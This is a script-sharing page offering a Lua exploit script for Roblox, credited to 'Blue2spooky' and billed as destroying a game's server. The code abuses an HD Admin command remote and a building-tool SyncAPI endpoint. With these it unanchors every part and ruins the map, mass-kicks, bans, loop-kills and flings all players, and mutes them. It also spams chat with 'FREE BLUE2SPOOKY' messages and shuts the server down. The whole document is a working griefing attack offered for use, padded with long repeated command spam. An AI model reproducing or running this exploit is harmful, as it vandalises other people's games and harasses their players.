destroy this game
Key Required

destroy this game

Free HD Admin (Rick Roll Command)Blue2spookyBlue2spooky 19.5K views 69 executesUpdated Feb 24, 2025
2.5/ 5(2 votes)
1150% Positive
Lua Script•1056 lines (35213 chars)
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
 

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FUICK U SKID!!!11"
screenGui.Parent = player:WaitForChild("PlayerGui")
screenGui.ResetOnSpawn = false  
 

local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 0, 0, 0) 
mainFrame.Position = UDim2.new(1, -300, 0.5, -225)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderSizePixel = 0
mainFrame.BorderColor3 = Color3.new(0, 0, 1) 
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
 
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 200, 0, 100)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0) 
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Destroy server!"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 30 
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
 
scriptbyblue2spooky.MouseButton1Click:Connect(function()
    
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
    
    RequestCommand:InvokeServer(";punish me")
    RequestCommand:InvokeServer(";unrank all")
    RequestCommand:InvokeServer(";fog inf")
    RequestCommand:InvokeServer(";fogcolor bk")
wait(1)

	RequestCommand:InvokeServer(";music 72089843969979")
	RequestCommand:InvokeServer(";pitch 0.19")
	RequestCommand:InvokeServer(";volume inf")


    RequestCommand:InvokeServer(";btools me")
wait(1)

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}

			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)

		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end

		function Unanchor()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					SetAnchor(false,v)
				end)
			end
		end
		Unanchor()
wait(1)
    RequestCommand:InvokeServer(";savemap")
    local player = game.Players.LocalPlayer
    local char = player.Character
    local tool
    for i,v in player:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    for i,v in game.ReplicatedStorage:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    --craaa
    remote = tool.SyncAPI.ServerEndpoint
    function _(args)
        remote:InvokeServer(unpack(args))
    end
    function SetCollision(part,boolean)
        local args = {
            [1] = "SyncCollision",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CanCollide"] = boolean
                }
            }
        }
        _(args)
    end
    function SetAnchor(boolean,part)
        local args = {
            [1] = "SyncAnchor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Anchored"] = boolean
                }
            }
        }
        _(args)
    end
    function CreatePart(cf,parent)
        local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
        }
        _(args)
    end
    function DestroyPart(part)
        local args = {
            [1] = "Remove",
            [2] = {
                [1] = part
            }
        }
        _(args)
    end
    function MovePart(part,cf)
        local args = {
            [1] = "SyncMove",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf
                }
            }
        }
        _(args)
    end
    function Resize(part,size,cf)
        local args = {
            [1] = "SyncResize",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf,
                    ["Size"] = size
                }
            }
        }
        _(args)
    end
    function AddMesh(part)
        local args = {
            [1] = "CreateMeshes",
            [2] = {
                [1] = {
                    ["Part"] = part
                }
            }
        }
        _(args)
    end

    function SetMesh(part,meshid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["MeshId"] = "rbxassetid://"..meshid
                }
            }
        }
        _(args)
    end
    function SetTexture(part, texid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["TextureId"] = "rbxassetid://"..texid
                }
            }
        }
        _(args)
    end
    function SetName(part, stringg)
        local args = {
            [1] = "SetName",
            [2] = {
                [1] = part
            },
            [3] = stringg
        }

        _(args)
    end
    function MeshResize(part,size)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Scale"] = size
                }
            }
        }
        _(args)
    end
    function Weld(part1, part2,lead)
        local args = {
            [1] = "CreateWelds",
            [2] = {
                [1] = part1,
                [2] = part2
            },
            [3] = lead
        }
        _(args)

    end
    function SetLocked(part,boolean)
        local args = {
            [1] = "SetLocked",
            [2] = {
                [1] = part
            },
            [3] = boolean
        }
        _(args)
    end
    function SetTrans(part,int)
        local args = {
            [1] = "SyncMaterial",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Transparency"] = int
                }
            }
        }
        _(args)
    end
    function CreateSpotlight(part)
        local args = {
            [1] = "CreateLights",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight"
                }
            }
        }
        _(args)
    end
    function SyncLighting(part,brightness)
        local args = {
            [1] = "SyncLighting",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight",
                    ["Brightness"] = brightness
                }
            }
        }
        _(args)
    end
    function Color(part,color)
        local args = {
            [1] = "SyncColor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Color"] = color --[[Color3]],
                    ["UnionColoring"] = false
                }
            }
        }
        _(args)
    end
    function SpawnDecal(part,side)
        local args = {
            [1] = "CreateTextures",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal"
                }
            }
        }

        _(args)
    end
    function AddDecal(part,asset,side)
        local args = {
            [1] = "SyncTexture",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal",
                    ["Texture"] = "rbxassetid://".. asset
                }
            }
        }
        _(args)
    end

    function Sky(id)
        e = char.HumanoidRootPart.CFrame.x
        f = char.HumanoidRootPart.CFrame.y
        g = char.HumanoidRootPart.CFrame.z
        CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
        for i,v in game.Workspace:GetDescendants() do
            if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
                --spawn(function()
                SetName(v,"Sky")
                AddMesh(v)
                --end)
                --spawn(function()
                SetMesh(v,"111891702759441")
                SetTexture(v,id)
                --end)
                MeshResize(v,Vector3.new(6000,6000,6000))
                SetLocked(v,true)
            end
        end
    end
    Sky("97432601751601")
    RequestCommand:InvokeServer(";mute others")
	RequestCommand:InvokeServer(";uncmdbar2 others")
    RequestCommand:InvokeServer(";savemap")
	wait(1)
	RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
    RequestCommand:InvokeServer(";loopfling all")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";kick all LOL BLUE2SPOOKY RETURNS")
	RequestCommand:InvokeServer(";mute others")
	RequestCommand:InvokeServer(";uncmdbar2 others")
wait(4)

	RequestCommand:InvokeServer(";prank others noacc")
wait(3)
	RequestCommand:InvokeServer(";shutdown")
	RequestCommand:InvokeServer(";gfp 14277928233")
wait(3)
	RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
    RequestCommand:InvokeServer(";lasereyes others")
    RequestCommand:InvokeServer(";loopkill all")
    RequestCommand:InvokeServer(";n all BLUE2SPOOKY TEAM RUINED TS SERVER XD")
	RequestCommand:InvokeServer(";dban all")
    RequestCommand:InvokeServer(";unrank all")
	RequestCommand:InvokeServer(";n all LOL")
wait(1)
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
